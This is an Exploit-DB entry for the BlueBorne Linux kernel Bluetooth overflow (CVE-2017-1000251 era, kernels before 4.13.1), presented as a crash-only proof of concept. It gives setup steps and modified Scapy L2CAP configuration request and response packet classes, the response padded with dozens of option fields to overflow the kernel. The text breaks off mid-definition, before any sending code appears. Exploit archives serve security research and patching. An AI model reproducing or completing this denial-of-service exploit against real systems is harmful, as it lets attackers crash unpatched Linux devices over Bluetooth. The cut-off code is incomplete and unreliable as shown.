Exploit-DB #42762
Description: Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2017-09-21
Author: Marcin Kozlowski

Exploit:
# Exploit Title: BlueBorne - Proof of Concept - Unarmed/Unweaponized -
DoS (Crash) only
# Date: 09/21/2017
# Exploit Author: Marcin Kozlowski <marcinguy@gmail.com>
# Version: Kernel version v3.3-rc1, and thus affects all version from there on
# Tested on: Linux 4.4.0-93-generic #116
# CVE : CVE-2[PII_REDACTED]

# Provided for legal security research and testing purposes ONLY.



Proof of Concept - Crash Only - Unarmed/Unweaponized/No Payload

After reading tons of Documentation and Protocol specifications.


1) Install Scapy

https://github.com/secdev/scapy


Add/Replace these requests and responses in Bluetooth Protocol stack to these:


scapy/layers/bluetooth.py

class L2CAP_ConfReq(Packet):
    name = "L2CAP Conf Req"
    fields_desc = [ LEShortField("dcid",0),
                    LEShortField("flags",0),
                    ByteField("type",0),
                    ByteField("length",0),
                    ByteField("identifier",0),
                    ByteField("servicetype",0),
                    LEShortField("sdusize",0),
                    LEIntField("sduarrtime",0),
                    LEIntField("accesslat",0),
                    LEIntField("flushtime",0),
                    ]



class L2CAP_ConfResp(Packet):
    name = "L2CAP Conf Resp"
    fields_desc = [ LEShortField("scid",0),
                    LEShortField("flags",0),
                    LEShortField("result",0),
                    ByteField("type0",0),
                    ByteField("length0",0),
                    LEShortField("option0",0),
                    ByteField("type1",0),
                    ByteField("length1",0),
                    LEShortField("option1",0),
                    ByteField("type2",0),
                    ByteField("length2",0),
                    LEShortField("option2",0),
                    ByteField("type3",0),
                    ByteField("length3",0),
                    LEShortField("option3",0),
                    ByteField("type4",0),
                    ByteField("length4",0),
                    LEShortField("option4",0),
                    ByteField("type5",0),
                    ByteField("length5",0),
                    LEShortField("option5",0),
                    ByteField("type6",0),
                    ByteField("length6",0),
                    LEShortField("option6",0),
                    ByteField("type7",0),
                    ByteField("length7",0),
                    LEShortField("option7",0),
                    ByteField("type8",0),
                    ByteField("length8",0),
                    LEShortField("option8",0),
                    ByteField("type9",0),
                    ByteField("length9",0),
                    LEShortField("option9",0),
                    ByteField("type10",0),
                    ByteField("length10",0),
                    LEShortField("option10",0),
                    ByteField("type11",0),
                    ByteField("length11",0),
                    LEShortField("option11",0),
                    ByteField("type12",0),
                    ByteField("length12",0),
                    LEShortField("option12",0),
                    ByteField("type13",0),
                    ByteField("length13",0),
                    LEShortField("option13",0),
                    ByteField("type14",0),
                    ByteField("length14",0),
                    LEShortField("option14",0),
                    ByteField("type15",0),
                    ByteField("length15",0),
                    LEShortField("option15",0),
                    ByteField("type16",0),
                    ByteField("length16",0),
                    LEShortField("option16",0),
                    ByteField("type17",0),
                    ByteField("length17",0),
                    LEShortField("option17",0),
                    ByteField("type18",0),
                    ByteField("length18",0),
                    LEShortField("option18",0),
                    ByteField("type19",0),
                    ByteField("length19",0),
                    LEShortField("option19",0),
                    ByteField("type20",0),
                    ByteField("length20",0),
                    LEShortField("option20",0),
                    ByteField("type21",0),
                    ByteField("length21",0),
                    LEShortField("option21",0),
                    ByteField("type22",0),
                    ByteField("length22",0),
                    LEShortField("option22",0),
                    ByteField("type23",0),
                    ByteField("length23",0),
                    LEShortField("option23",0),
                    ByteField("type24",0),
                    ByteField("length24",0),
                    LEShortField("option24",0),
                    ByteField("type25",0),
                    ByteField("length25",0),
                    LEShortField("option25",0),
                    ByteField("type26",0),
                    ByteField("length26",0),
                    LEShortField("option26",0),
                    ByteField("type27",0),
                    ByteField("length27",0),
                    LEShortField("option27",0),
                    ByteField("type28",0),
                    ByteField("length28",0),
                    LEShortField("option28",0),
                    ByteField("type29",0),
                    ByteField("length29",0),
                    LEShortField("option29",0),
                    ByteField("type30",0),
                    ByteField("length30",0),
                    LEShortField("option30",0),
                    ByteField("type31",0),
                    ByteField("length31",0),
                    LEShortField("option31",0),
                    ByteField("type32",0),
                    ByteField("length32",0),
                    LEShortField("option